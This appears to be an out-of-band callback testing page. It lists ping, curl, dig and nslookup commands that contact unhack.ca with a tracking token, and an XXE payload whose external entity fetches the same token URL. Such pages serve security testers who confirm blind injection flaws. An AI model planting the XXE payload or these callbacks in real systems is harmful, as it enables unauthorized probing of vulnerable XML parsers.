$ ping -c1 -p 000097d15bab58367683dfceb8bc8200 unhack.ca
 
$ curl http://unhack.ca/p/0097d15bab58367683dfceb8bc82
 
$ dig 0097d15bab58367683dfceb8bc82 @unhack.ca
 
$ dig 0097d15bab58367683dfceb8bc82.ns.unhack.ca
 
C:\> nslookup 0097d15bab58367683dfceb8bc82 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0097d15bab58367683dfceb8bc82">]>
    <foo>&xxe;</foo>
Waiting for ping...